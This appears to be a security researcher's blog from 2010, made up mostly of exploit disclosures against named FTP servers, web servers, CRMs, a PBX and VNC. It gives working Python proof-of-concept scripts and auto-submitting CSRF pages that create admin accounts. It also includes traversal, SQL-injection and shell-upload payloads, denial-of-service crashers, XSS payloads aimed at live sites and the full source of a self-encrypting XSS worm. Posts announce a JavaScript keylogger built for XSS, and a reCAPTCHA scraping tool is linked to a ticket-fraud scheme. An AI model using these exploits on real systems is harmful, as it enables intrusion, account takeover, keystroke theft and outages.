<input type="hidden" name="outboundtest_from_address" value="" />
</form>
</body>
</html>

Thursday, May 27, 2010

Core FTP Server 1.0.343 Directory Traversal

It's possible to navigate the local file system of a server running Core FTP Server 1.0.343 by using a specially crafted URL.

Exploit
/...

PoC
list_root.py
import sys, socket, re

host = 'localhost'
port = 21
user = 'anonymous'
password = 'a'

buffer_size = 8192
timeout = 8

def recv(s):
resp = ''

while 1:
r = s.recv(buffer_size)
if not r: break
resp += r

return resp

def list_root():
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.settimeout(timeout)

print s.recv(buffer_size)

s.send('USER ' + user + '\r\n')
print s.recv(buffer_size)

s.send('PASS ' + password + '\r\n')
print s.recv(buffer_size) + s.recv(buffer_size)

s.send('CWD ' + '/...' * 16 + '\r\n')

resp = s.recv(buffer_size)

print resp

if resp[:3] == '250':
s.send('PASV\r\n')
resp = s.recv(buffer_size)

print resp

pasv_info = re.search(u'(\d+),(\d+),(\d+),(\d+),(\d+),(\d+)', resp)

if (pasv_info == None):
print 'Invalid PASV response: ' + resp
return

s.send('LIST\r\n')

s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2.connect((host, int(pasv_info.group(5)) * 256 + int(pasv_info.group(6))))
s2.settimeout(timeout)

print recv(s2)

s.close()

except Exception:
print sys.exc_info()

list_root()

Home FTP Server 1.10.2.143 Directory Traversal

A directory traversal vulnerability in Home FTP Server 1.10.2.143 can be exploited to read, write, and delete files outside of the ftp root directory.

Exploit
RETR [Drive Letter]:\[Filename]
STOR [Drive Letter]:\[Filename]
DELE [Drive Letter]:\[Filename]


PoC
get_boot_ini.py
import sys, socket, re

host = 'localhost'
port = 21
user = 'anonymous'
password = ''

timeout = 8

buffer_size = 8192

def get_data_port(s):
s.send('PASV\r\n')

resp = s.recv(buffer_size)

pasv_info = re.search(u'(\d+),' * 5 + u'(\d+)', resp)

if (pasv_info == None):
raise Exception(resp)

return int(pasv_info.group(5)) * 256 + int(pasv_info.group(6))

def retr_file(s, filename):
pasv_port = get_data_port(s)

if (pasv_port == None):
return None

s.send('RETR ' + filename + '\r\n')
resp = s.recv(8192)

if resp[:3] != '150': raise Exception(resp)

print resp

s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2.connect((host, pasv_port))
s2.settimeout(2.0)
resp = s2.recv(8192)
s2.close()

return resp

def get_file(filename):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.settimeout(timeout)

print s.recv(buffer_size)

s.send('USER ' + user + '\r\n')
print s.recv(buffer_size)

s.send('PASS ' + password + '\r\n')
print s.recv(buffer_size)

print retr_file(s, filename)

print s.recv(buffer_size)

s.close()

get_file('c:\\boot.ini')

Wednesday, May 26, 2010

Brekeke PBX 2.4.4.8 Cross-site Request Forgery

A cross-site request forgery vulnerability in Brekeke PBX 2.4.4.8 can be exploited via GET request to change the admin password.

PoC
<html>
<body>
<img src="http://localhost:28080/pbx/gate?bean=pbxadmin.web.PbxUserEdit&user=sa&disabled=false&name=&language=en&password=new_password&password2=new_password&phoneforward=&ringertime=60&noanswerforward=vmsa&noanswerforward.voicemail=on&busyforward=vmsa&busyforward.voicemail=on&dtmfcommand=true&defaultpickup=&index=1&greetingtype=3&recordlength=&messageforward=&email=&emailnotification=true&emailattachment=true&admin=true&userplugin=user&personalivr=&rtprelay=default&payload=&useremotepayload=default&recording=false&canjoin=true&allowjoin=true&aotomonitor=&maxsessioncount=-1&resourcemap=&operation=store" />
</body>
</html>

Pacific Timesheet 6.74 Cross-site Request Forgery

A cross-site request forgery vulnerability in Pacific Timesheet 6.74 can be exploited via GET request to create a new admin.

PoC
<html>
<body>
<img src="http://localhost/timesheet/user/user-set.do?userId=0&flag=&cloneId=&wizard-page=1&loginX=new_admin&passwordX=password&passwordConfirmX=password&firstName=&lastName=a&uid=&status=A&roleId=1&type=&policyId=1&jobTitle=&groupId=0&billRateId=0&billRate=&payRateId=0&payRate=&salary=&firstDay=5%2F22%2F2010&lastDay=&scheduledDay%5B1%5D=on&scheduledDay%5B2%5D=on&scheduledDay%5B3%5D=on&scheduledDay%5B4%5D=on&scheduledDay%5B5%5D=on&scheduledHours=&scheduledHoursPerDay=&scheduledIn=&scheduledOut=&email=&phone=&mobile=&fax=&timeSheetId=1&carryForward=1&timeFormat=0&locale=en_US&timeZone=America%2FNew_York&apprv0Id=0&apprv0bId=0" />
</body>
</html>

Home FTP Server 1.10.2.143 Cross-site Request Forgery

A cross-site request forgery vulnerability in Home FTP Server 1.10.2.143 can be exploited via GET request to create an admin account with all permissions (read, write, delete, etc.)

PoC
<html>
<body>
<img src="http://localhost/?addnewmember=new_user&pass=Password1&home=c:\&allowdownload=on&allowupload=on&allowrename=on&allowdeletefile=on&allowchangedir=on&allowcreatedir=on&allowdeletedir=on&virtualdir=&filecontrol=" />
</body>
</html>

Sunday, May 23, 2010

Tele Data's Contact Management Server 0.9 Arbitrary File Write

An arbitrary file write vulnerability in Tele Data's Contact Management Server 0.9 can be exploited to write to the local file system of the server.

PoC
Login as an administrator and navigate to http://localhost/command.html?Cmd=SQL_Save&SQL=hello%20world&FileName=..\..\..\..\..\..\..\..\..\x.txt

Tele Data's Contact Management Server 0.9 Local File Inclusion

A local file inclusion vulnerability in Tele Data's Contact Management Server 0.9 can be exploited to read files from the server file system.

PoC
Login as an administrator and navigate to http://localhost/command.html?Cmd=SQL_Load&FileName=..\..\..\..\..\..\..\..\..\boot.ini

Open Forum Server 2.2 b005 Arbitrary File Write

An arbitrary file write vulnerability in the saveAsAttachment method of Open Forum Server 2.2 b005 can be exploited to write to the local file system of the server.

Exploit
Upload a get.sjs file that calls the vulnerable method. Request the script's containing folder.

PoC
import sys, socket
host = 'localhost'
port = 80

def send_request(request):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(32) # sometimes it takes a while
s.connect((host, port))
s.send(request)

response = s.recv(8192) + s.recv(8192) # a hack within a hack

return response

def write_file():
try:
content = '----x--\r\n'\
'Content-Disposition: form-data; name="file"; filename="get.sjs"\r\n'\
'Content-Type: application/octet-stream\r\n\r\n'\
'fileName = "' + '..\\\\' * 256 + 'x.txt";\r\n'\
'data = "hello, world";\r\n'\
'user = transaction.getUser();\r\n'\
'wiki.saveAsAttachment("x",fileName,data,user);\r\n'\
'transaction.sendPage("File Written");\r\n\r\n'\
'----x----\r\n'

response = send_request('POST OpenForum/Actions/Attach?page=OpenForum HTTP/1.1\r\n'
'Host: ' + host + '\r\n'
'Content-Type: multipart/form-data; boundary=--x--\r\n'
'Content-Length: ' + str(len(content)) + '\r\n\r\n' + content)

if 'HTTP/1.1 302 Redirect' not in response:
print 'Error writing get.sjs'
return
else: print 'get.sjs created'

response = send_request('GET OpenForum HTTP/1.1\r\n'
'Host: ' + host + '\r\n\r\n')

if 'File Written' not in response:
print 'Error writing to root'
return
else: print 'x.txt created in root'

except Exception:
print sys.exc_info()

write_file()

Friday, May 21, 2010

vtiger CRM 5.2.0 Shell Upload

A shell upload vunlerability in vtiger CRM 5.2.0 can be exploited to execute arbitrary PHP.

Exploit
Upload a PHP file and append a backslash to the filename_hidden value.


PoC

  1. Login and navigate to http://localhost/index.php?action=upload&module=uploads and upload a PHP file.

  2. Capture the packet using a debugging proxy, append a backslash to the filename_hidden value, and submit it. e.g.

    ------WebKitFormBoundaryihWhA69lH4hKrGBy
    Content-Disposition: form-data; name="filename_hidden"

    shell.php\

  3. Navigate to the uploaded file http://localhost/storage/{Year}/{Month}/{Week}/{file} e.g. http://localhost/storage/2010/May/week3/shell.php

vtiger CRM 5.2.0 XSRF

A cross-site request forgery vunlerability in vtiger CRM 5.2.0 can be exploited to create an new admin. The form values can also be sent via GET request, but the resulting user does not have admin privileges.

PoC:
<html>
<body onload="document.forms[0].submit()">
<form name="EditView" method="post" action="http://localhost/index.php">
<input type="hidden" name="module" value="Users" />
<input type="hidden" name="mode" value="create" />
<input type="hidden" name="action" value="Save" />
<input type="hidden" name="user_name" value="new_user" />
<input type="hidden" name="is_admin" value="on" />
<input type="hidden" name="user_password" value="new_password" />
<input type="hidden" name="confirm_password" value="new_password" />
<input type="hidden" name="email1" value="test@test.com" />
<input type="hidden" name="status" value="Active" />
</form>
</body>
</html>

Monday, May 17, 2010

Fortitude HTTP 1.0.1.6 Denial-of-Service

Fortitude HTTP 1.0.1.6 crashes upon receving an HTTP request containing a relative resource path with an excessive number of slashes.

Exploit
GET / * 8192 HTTP 1.1
Host: localhost


PoC
import socket
host ='localhost'
port = 80

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))

s.send('GET ' + '/' * 8192 + ' HTTP/1.1\r\n'
'Host: ' + host + '\r\n\r\n')

DataTrack System 3.5 Persistent XSS / Directory Disclosure / Configuration Disclosure / Source Disclosure

Persistent XSS
User submitted data is not HTML entity encoded before it is rendered.

Exploit
Login using the web client and submit a request with summary set to <script>alert(0)</script>. Navigate to My History to see the result.



Directory Disclosure
The contents of the root directory can be listed by using a specially crafted URL.

Exploit
%u0085
%u00A0

PoC
http://localhost/%u0085/
http://localhost/%u00A0/



Configuration / Source Disclosure
Forbidden file types (e.g. ascx, config) can be downloaded by appending a backslash to the filename.

Exploit
GET /web.config\ HTTP/1.1
Host: localhost


PoC
import socket
host ='localhost'
port = 80

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send('GET /web.config\ HTTP/1.1\r\n'\
'Host: ' + host + '\r\n\r\n')

while 1:
response = s.recv(8192)
if not response: break
print response

Saturday, May 15, 2010

Open Forum Server 2.2 b005 Directory Traversal

It's possible to navigate the local file system of a server running Open Forum Server 2.2 b005 by using a specially crafted URL.

Exploit:
%2F../
%5C../
%5C

PoC:
http://localhost/%5C../%5C../%5C../%5C../%5C../%5C../%5C../boot.ini

http://localhost/Admin/Users/Admin/private%5Cpassword.txt


Note: the percent encoded backslash in the second second url bypasses authentication. However, the response is malformed so a debugging proxy may be necessary to view it.

Zipserver 1.0 Directory Traversal

It's possible to navigate the local file system of a server running Zipserver 1.0 by using a specially crafted URL.

Exploit:
..%2F/
..%5C/

PoC:
http://localhost/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F/

http://localhost/..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C/

The Uniform Server 5.6.5 XSRF

A cross-site request forgery vunlerability in The Uniform Server 5.6.5 web UI can be exploited to change various administrative passwords.

PoC:
<html>
<head>
<script type="text/javascript">
window.onload = function() {
var url = 'http://localhost/apanel';

var xsrs = [
{
"action": url + "/apsetup.php",
"method": "post",
"submitCall": "document.forms[0].submit.click()",
"fields": [
{ "name": "apuser", "value": "new_username" },
{ "name": "appass", "value": "new_password" },
{ "name": "submit", "value": "Change", "type": "submit" }
]
},
{
"action": url + "/psetup.php",
"method": "post",
"submitCall": "document.forms[0].submit.click()",
"fields": [
{ "name": "puser", "value": "new_username" },
{ "name": "ppass", "value": "new_password" },
{ "name": "submit", "value": "Change", "type": "submit" }
]
},
{
"action": url + "/sslpsetup.php",
"method": "post",
"submitCall": "document.forms[0].submit.click()",
"fields": [
{ "name": "puser", "value": "new_username" },
{ "name": "ppass", "value": "new_password" },
{ "name": "submit", "value": "Change", "type": "submit" }
]
},
{
"action": url + "/mqsetup.php",
"method": "post",
"submitCall": "document.forms[0].submit.click()",
"fields": [
{ "name": "qpass", "value": "new_password" },
{ "name": "submit", "value": "Change", "type": "submit" }
]
}
];

for (var x = 0; x < xsrs.length; x++) {
var attackFrame = document.createElement('iframe');

var html = '<html><body><form action="' + xsrs[x].action + '" ' +
'method="' + xsrs[x].method + '">';

for (var y = 0; y < xsrs[x].fields.length; y++) {
html += '<input type="' +
(xsrs[x].fields[y].type != null ?
xsrs[x].fields[y].type : 'hidden') + '" ' +
'name="' + xsrs[x].fields[y].name + '" ' +
'value="' + xsrs[x].fields[y].value + '" />';
}

html += '</form><script>' + xsrs[x].submitCall + '\x3c/script></body></html>';

document.body.appendChild(attackFrame);

attackFrame.contentDocument.write(html);
}
}
</script>
</head>
<body>
</body>
</html>

Thursday, May 13, 2010

ProjectForum 6.5.2.2978 XSRF / XSS

A cross-site request forgery vunlerability in ProjectForum 6.5.2.2978 can be exploited to reconfigure the server (e.g. admin password, create group password, port) with a malicious GET request.

PoC:
<html>
<body>
<img src="http://localhost/admin/site.html?adminpasswd=new_password&adminpasswd2=new_password&port=80&theme=default&createpasswd=new_password&createpasswd2=new_password&action=Save+Changes&formSubmitted=1" />
</body>
</html>



Several reflected and persistent cross-site scripting vulnerabilities are present.

PoC:
Reflected:
http://localhost/1/admin/newpage.html?name=%22%3E%3Cscript%3Ealert(0)%3C/script%3E

Persistent:
Edit a page and add the following
http://"onmouseover="alert(0)"style="position:absolute;top:0;left:0;width:9999px;height:9999px;

Abyss Web Server X1 XSRF

A cross-site request forgery vunlerability in the Abyss Web Server X1 management console can be exploited to change both the username and password of the logged in user.


PoC:

<html>
<body onload="document.forms[0].submit()">
<form method="post" action="http://localhost:9999/console/credentials">
<input type="hidden" name="/console/credentials/login"
value="new_username" />
<input type="hidden" name="/console/credentials/password/$pass1"
value="new_password" />
<input type="hidden" name="/console/credentials/password/$pass2"
value="new_password" />
<input type="hidden" name="/console/credentials/bok"
value="%C2%A0%C2%A0OK%C2%A0%C2%A0" />
</form>
</body>
</html>

Tuesday, May 11, 2010

Zervit 0.4 Directory Traversal

It's possible to navigate the local file system of a server running Zervit 0.4 by using a specially crafted HTTP request. The resource path must be relative and the slashes unencoded.

Exploit:
GET /\../ HTTP/1.1

Host: localhost



or


GET //../ HTTP/1.1

Host: localhost


PoC:
zervit0.4-traversal.py
import sys, struct, socket
host ='localhost'
port = 80

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send('GET /' + '\..' * 32 + '/ HTTP/1.1\r\n'
'Host: ' + host + '\r\n\r\n')

while 1:
response = s.recv(8192)
if not response: break
print response

Sunday, May 9, 2010

Mereo 1.9.1 Directory Traversal

It's possible to navigate the local file system of a server running Mereo 1.9.1 by using a specially crafted URL.

Exploit: %80../

PoC: http://localhost/%80../%80../%80../%80../%80../%80../%80../%80../

Saturday, May 8, 2010

Tumblr.com Persistent XSS

onmouseover attributes added to user submitted markup via HTTP proxy are not stripped.

Exploit: Create a new link, add a description, and set the HTML to <h1>test</h1>. Submit the form and capture the request using an HTTP proxy (e.g. Fiddler). Change the post[three] value to <h1 onmouseover="alert(0)">test</h1> and resume the request.

PoC: http://asdfffffffff.tumblr.com/

Thursday, May 6, 2010

Friendster.com Persistent XSS

Only one sanitization pass is performed on user submited data.

Exploit: <<z>script>alert(0)<<z>/script>

PoC: http://profiles.friendster.com/31202727

Zolsoft Office Server Free Edition 2010.0502 XSRF

A cross-site request forgery vunlerability in the Zoloft Office Server Web UI can be exploited to change the password of a user.


<html>
<body onload="document.forms[0].submit()">
<form action="http://localhost/options3.htm" method="post">
<input type="hidden" name="PassField1" value="new_password" />
<input type="hidden" name="PassField2" value="new_password" />
</form>
</body>
</html>

Sunday, May 2, 2010

RealVNC VNC Server Free Edition 4.1.3 Denial Of Service

Sending a ClientCutText Message with a length of 0xFFFFFFFF crashes the server with the exception shown below. Note: while the vulnerability is present regardless of authentication, for the sake of simplicity this script only works on servers configured to run with no authentication.

winvnc4.exe: The instruction at 0x425BE4 referenced memory at 0xFFFFFF00. The memory could not be written (0x00425BE4 -> FFFFFF00)

vncserver413-DoS.py

import sys, struct, socket
host ='localhost'
port = 5900

def crash_vnc_server():
try:
while 1:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.settimeout(1.0)

print 'Connected'

try:
b = s.recv(8192)
print 'ProtocolVersion Received'

s.send(b)
print 'ProtocolVersion Sent'

b = s.recv(8192)
print 'Security Received'

s.send('\x01')
print 'Security Sent'

b = s.recv(8192)
print 'SecurityResult Received'

if (len(b) == 4 and
b[0] == chr(0) and
b[1] == chr(0) and
b[2] == chr(0) and
b[3] == chr(0)):
print 'SecurityResult OK'
else:
print 'SecurityResult Failed.\n\nThe server must be set '\
'to No Authentication for this to work, otherwise '\
'you \'ll need to write the necessary client side '\
'authentication code yourself.'
return

s.send('\x01')
print 'ClientInit Sent'

b = s.recv(8192)
print 'ServerInit Received'

text_len = 0xFFFFFF
text_str = struct.pack('L', text_len) + '\xAA' * text_len

while 1:
s.send('\x06\x00\x00\x00' + text_str)

print 'ClientCutText Sent'

except Exception:
print 'Connection closed'

except Exception:
print 'Couldn\'t connect'

crash_vnc_server()

Friendster.com Persistent XSS

Data submitted via album description and a few other fields is not properly escaped before being rendered into javascript.

Exploit: \";alert(0);//

PoC: http://www.friendster.com/viewalbums.php?uid=120927091

ddrLPD 1.0 Denial Of Service

Sending packets composed of bytes between 1 and 5 (inclusive) causes ddrLPD 1.0 to crash with the exception below.

The instruction at 0x50431A referenced memory at 0x0. The memory could not be read (0x0050431A -> 00000000)

ddrLPD10-DoS.py

import socket
host ='localhost'

try:
while 1:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, 515))
s.settimeout(1.0)

print 'connected',

try:
while 1:
s.send('\x01'*8192)
print '.',
except Exception:
print '\nconnection closed'
pass

except Exception:
print 'couldn\'t connect'

Wednesday, April 28, 2010

Tele Data Contact Management Server 0.9 SQL Injection

Tele Data Contact Management Server doesn't have much in the way of security. It's possible to log in with admin privileges by injecting SQL into the username field. As there are client side length constraints in place for the username field I packaged the exploit in some javascript for ease of use.

Exploit: or 1=0 UNION SELECT 1 as RecID,0,'' AS Password,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 FROM Users;--

PoC: javascript:document.forms[0][0].setAttribute("value","' or 1=0 UNION SELECT 1 as RecID,0,'' AS Password,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 FROM Users;--");document.forms[0].submit();

Tuesday, April 27, 2010

OneHTTPD 0.6 Directory Traversal

It's possible to navigate the local file system of a server running OneHTTPD 0.6 by using a specially crafted url.

http://localhost/%C2../%C2../%C2../%C2../%C2../%C2../%C2../%C2../

Monday, April 26, 2010

Stumpleupon.com Reflected XSS

The code that displays spelling corrections does not encode user submitted data.

http://www.stumbleupon.com/search?q=teh<script>alert(0)</script>

Ning.com Persistent XSS

Less than and greater than characters submitted in the descriptions of albums, images and probably others are unencoded. Any tags submitted in such fields are subjected to whitelist validation, but this can be bypassed by prepending a less than character to the injected open and close tags.

Exploit: <<script>alert(0)//<</script>

PoC: http://coniferous.ning.com/photo/792231134-1

Sunday, April 25, 2010

Javascript Keylogger 1.4 Released

A python HTTP server has been added to allow for greater cross-platform compatibility.

Download 1

Download 2

Sunday, April 11, 2010

Prion 1.3 Released - Polymorphic XSS Worm

Because of Prion's large memory footprint it isn't suitable for use with every XSS vulnerability. For this reason I decided to create Prion Lite, a scaled down version of Prion small enough to be used with most XSS vulnerabilities, reflected or persistent. Of course this comes at a cost: unlike Prion, which carries its entire codebase with it, instances of the new Lite version must reference an off-site javascript file, another piece of evidence for anyone that might be looking for such things.

1.3 Changes
Cleaned up code
Prion lite added
Mickey mouse encryption algorithm updated (Prion lite only)
Reorder transformation added (Prion lite only)
Miscellaneous bug fixes

Download

Monday, April 5, 2010

Prion 1.2 Released - Polymorphic XSS Worm

Prion 1.2 is out, and it's quite an improvement over the last version. The updated encoding algorithm eliminated a lot of bloat, and the new code transformations make the decryptor of each worm instance unique.

1.2 Changes
Integer splitting transformation added
Variable rename transformation added
Added compressed version
Test UI updated

Download



Monday, March 29, 2010

Prion 1.1 Released - Polymorphic XSS Worm

I've affectionately named my worm Prion and released a new version with several browser compatibility fixes and a new test page (embedded below). Click the execute button a few times to see it work.

Old sample removed. An updated version can be found here

Download

Sunday, March 28, 2010

Polymorphic XSS Worm

Note: This entry is out of date; several fixes have been made. New download here

As the title suggests here is a generic, polymorphic XSS worm. With each infection the worm re-encrypts itself using a basic XOR cipher. The only piece missing is the code that sends the obfuscated script (stored in the encoded variable) to it's next target, likely a persistent XSS vulnerability. Below is the complete source. To see it in action save the source to an HTML file then view it. The javascript outputted to the text area is the repackaged worm; to test the repackaged source, replace the javascript of the sample below with the encrypted code and view the page again.


Polymorphic XSS Worm Source


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
<head>
<title>Polymorphic XSS Worm</title>
</head>
<body>
<textarea id="xssWorm" style="width:400px;height:600px;"></textarea>

<script type="text/javascript">
/* Polymorphic XSS Worm by John Leitch - john.leitch5@gmail.com */

/*worm start*/
var startToken = '/*worm start*/',
endToken = '/*worm ' + 'end*/';

function encode(code) {
var key = Math.floor(Math.random() * 256);

var packed = startToken + 'var k=' + key + ';var a=[';

for (var i = 0; i < code.length; i++) {
packed += (code.charCodeAt(i) ^ key) + ',';
}

packed += '];var d=\'\';' +
'for (var i=0;i<a.length;i++)' +
'{d+=String.fromCharCode(a[i]^k);}eval(d);' + endToken;

return packed;
}

function decode(code) {
var keyMatch = code.match(/var\sk=(\d+)/);

if (keyMatch == null) {
alert('key not found');

return;
}

var key = keyMatch[1];

var codeMatch = code.match(/var\sa=\[([\d{1,3},]+)\];/);

if (codeMatch == null) {
alert('packed code not found');

return;
}

var unpacked = '';

var codeBytes = codeMatch[1].split(',');

for (var i = 0; i < codeBytes.length; i++) {
if (!codeBytes[i]) {
continue;
}

unpacked += String.fromCharCode(codeBytes[i] ^ key);
}

return unpacked;
}

function findSelf(response) {
var x = response.indexOf(startToken) + startToken.length;
var y = response.indexOf(endToken, x);

var code = response.substring(x, y);

return code;
}

var code = findSelf(document.body.innerHTML);

if (code.indexOf('var k=') == 0) {
code = decode(code);
}

var encoded = encode(code);

// This is where the newly obfuscated worm (stored in encoded)
// is passed on to it's next target. But because we don't have a
// target we'll spit the newly obfuscated code out to a textarea.

document.getElementById('xssWorm').value = encoded;
/*worm end*/
</script>
</body>
</html>

Saturday, March 27, 2010

Javascript Keylogger 1.3 Released

Changes:

Log entries now categorized by page view and field rather than just field
Fixed server crash bugs
Fixed bug related to replacing head & body

Download 1

Download 2


Happy keystroke logging!

Saturday, March 13, 2010

Javascript Keylogger 1.1 Released - HTTP Server Added

Javascript Keylogger has been updated. The new release contains an a customized HTTP server that generates keystroke reports.

From the readme:

Start the server, view Test1.htm or Test2.htm, and type in one of the inputs to see it in action. Logged keystrokes are displayed in the console and written to a text file in the same directory as the server. Server settings are in the JavascriptKeyloggerServer.exe.config file.

Download 1

Download 2

Wednesday, March 10, 2010

Javascript Keylogger

I wrote a javascript keylogger that works nicely with XSS vulnerabilities.

Download 1

Download 2

Tuesday, March 2, 2010

Scraping - reCAPTCHA Hack

After reading about the $25 million online ticket heist and the involvement of the reCAPTCHA service I decided to see if the reported flaw was still present. From the article:

[The perpetrators] wrote a script that impersonated users trying to access Facebook, and downloaded hundreds of thousands of possible CAPTCHA challenges from reCAPTCHA. They identified the file ID of each CAPTCHA challenge and created a database of CAPTCHA “answers” to correspond to each ID. The bot would then identify the file ID of a challenge at Ticketmaster and feed back the corresponding answer.

If the writer was referring to the ID passed to http://api.recaptcha.net/image via query string, the vulnerability appears to be fixed as the ID is temporary. However, the images are still the same and through the use of a cryptographic hash function such as MD5 we can identify duplicates. The following C# console application downloads a number (specified by the imageCount variable) of CAPTCHA images from reCAPTCHA, hashes each, groups the results by hash, then writes the results to a text file. Downloading as few as 1024 images can yield several identical images. Building on this one could potentially pull off the reCAPTCHA attack described in the article.


using System;
using System.Text;
using System.Text.RegularExpressions;
using System.IO;
using System.Net;
using System.Collections.Generic;
using System.Security.Cryptography;

namespace reCAPTCHAScrape
{
class Program
{
static string Request(string Url)
{
HttpWebRequest request = WebRequest.Create(Url) as HttpWebRequest;

string s;

using (StreamReader reader =
new StreamReader(request.GetResponse().GetResponseStream()))
s = reader.ReadToEnd();

return s;
}

static void GetCaptchaImage(int FileNum)
{
Regex scriptURLRegex =
new Regex(@"<script\s*type\s*=\s*""text/javascript""\s*" +
@"src\s*=\s*""([^""]+)""\s*><\s*/script>");

Regex scriptRegex = new Regex(@"challenge\s*:\s*'([^']+)'");

string pageURL = "http://recaptcha.net/fastcgi/demo/recaptcha";

string resp = Request(pageURL);

string scriptURL = scriptURLRegex.Match(resp).Groups[1].Value;

resp = Request(scriptURL);

string ID = scriptRegex.Match(resp).Groups[1].Value;

string imageURL = "http://api.recaptcha.net/image?c=" + ID;

HttpWebRequest request =
WebRequest.Create(imageURL) as HttpWebRequest;

byte[] buffer = new byte[1048576];

using (Stream s = request.GetResponse().GetResponseStream())
{
int len = s.Read(buffer, 0, 1048576);

Array.Resize(ref buffer, len);
}

using (FileStream stream = File.Create(FileNum + ".jpg"))
stream.Write(buffer, 0, buffer.Length);
}

static void DigestImages(string Path)
{
DirectoryInfo info = new DirectoryInfo(Path);

FileInfo[] files = info.GetFiles("*.jpg");

MD5CryptoServiceProvider md5 = new MD5CryptoServiceProvider();

Dictionary<string, List<FileInfo>> digestDictionary =
new Dictionary<string, List<FileInfo>>();

foreach (FileInfo f in files)
{
byte[] buffer = File.ReadAllBytes(f.FullName);

byte[] digest = md5.ComputeHash(buffer);

StringBuilder hexStringBuilder = new StringBuilder();

foreach (byte b in digest)
hexStringBuilder.Append(Convert.ToString(b,
16).PadLeft(2, '0'));

string hexString = hexStringBuilder.ToString();

if (digestDictionary.ContainsKey(hexString))
digestDictionary[hexString].Add(f);
else
digestDictionary.Add(hexString, new List<FileInfo>() { f });
}

StringBuilder results = new StringBuilder();

foreach (string s in digestDictionary.Keys)
{
results.AppendLine(s);

foreach (FileInfo f in digestDictionary[s])
results.AppendLine(f.FullName);

results.AppendLine();
}

string filename = @".\Results_" + Environment.TickCount + ".txt";

File.WriteAllText(filename, results.ToString());
}

static void Main(string[] args)
{
const int imageCount = 1024;

Console.Write("Downloading images");

for (int i = 0; i < imageCount; i++)
{
try
{
GetCaptchaImage(i);

Console.Write(".");
}
catch (System.Exception ex)
{
Console.WriteLine(ex.ToString());
}
}

Console.WriteLine("\r\nSearching for matches...");

DigestImages(@".\");

Console.WriteLine("Complete. Press any key to continue...");
Console.ReadKey();
}
}
}


A match in the output looks like this:

cf75401ef23c167260aa6d93bb7fbc42
C:\Source\reCAPTCHAScrape\reCAPTCHAScrape\bin\Debug\533.jpg
C:\Source\reCAPTCHAScrape\reCAPTCHAScrape\bin\Debug\869.jpg